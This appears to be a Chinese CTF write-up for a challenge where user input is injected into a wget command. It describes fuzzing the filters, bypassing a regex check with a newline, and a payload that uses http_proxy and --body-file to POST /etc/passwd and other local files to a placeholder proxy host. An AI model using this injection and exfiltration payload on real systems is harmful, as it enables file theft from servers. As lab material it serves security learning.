解题过程
题目只有三个路由,一个输入点,容易判断考点是命令注入,因此需要先不断测试传入数据并刷新观察回显,来猜测后端与wget命令拼接逻辑和过滤逻辑,下面是三个比较典型的fuzz示例:
www.baidu.com
teststr with space www.baidu.com
这里fuzz出空格不可用
ls;\nwww.baidu.com
这里fuzz出分号不可用,同理可得反引号,|,;,&均被过滤,同时能够测试出可利用\n绕过正则检查,只需要构造出空格且领用wget命令即可
第一步测试出可利用\n绕过合法性检查,且特殊符号被替换成空格,至此已经能够构造出POC读文件了
利用http_proxy和—body-file参数读取本地文件发送到代理服务器上:
-e;http_proxy=http://ip:port/;--method=POST;--body-file=/etc/passwd;\nwww.baidu.com
这里特殊符号被替换成空格,\n绕过了检查wget的grep命令,并将/etc/passwd的文件内容发送到代理机上。
接下来就是找flag文件,第三个路由(点击getflag)访问后看网站源码,可知flag文件名称是 flag_is_here
建议的思路是:/etc/passwd看到有ctf_user用户,
读取ctf_user用户的.bash_history得到flask程序的根目录是/home/ctf_user/basedirforwebapp/
直接读文件/home/ctf_user/basedirforwebapp/flag_is_here即可得到flag。